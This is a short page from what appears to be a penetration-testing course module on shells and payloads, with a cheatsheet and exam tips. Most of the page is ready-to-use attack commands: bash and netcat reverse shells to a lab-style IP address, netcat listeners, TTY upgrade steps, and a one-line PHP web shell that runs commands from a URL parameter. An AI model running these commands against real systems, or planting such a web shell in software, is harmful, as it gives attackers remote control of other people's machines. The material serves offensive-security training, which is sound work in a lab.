Shells & Payloads

Exploitation
> Start Learning

πŸ“– Overview

Creating and catching reverse shells, bind shells, and web shells.

🎯
3
Exercises
πŸƒ
4
Flashcards
πŸ—ΊοΈ
1
Mind Maps

πŸ“‹ Cheatsheet

Reverse Shells

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 # Bash reverse shell
nc -e /bin/bash 10.10.14.5 4444 # Netcat reverse shell (if -e available)
powershell -e BASE64_PAYLOAD # PowerShell encoded reverse shell

Listeners

nc -lvnp 4444 # Start Netcat listener on port 4444
rlwrap nc -lvnp 4444 # Listener with history/arrow keys support

Shell Upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")' # Spawn TTY shell with Python
export TERM=xterm # Set terminal type
# Ctrl+Z, stty raw -echo; fg # Background, fix TTY, foreground

Web Shells

<?php system($_GET['cmd']); ?> # Basic PHP web shell

πŸ’» Command Examples

⚠️ Common Pitfalls

  • Not upgrading shells
  • Forgetting to URL encode

πŸ’‘ Exam Survival Tips

  • Always upgrade to PTY
  • Use rlwrap for arrow keys

πŸ—ΊοΈ Mind Maps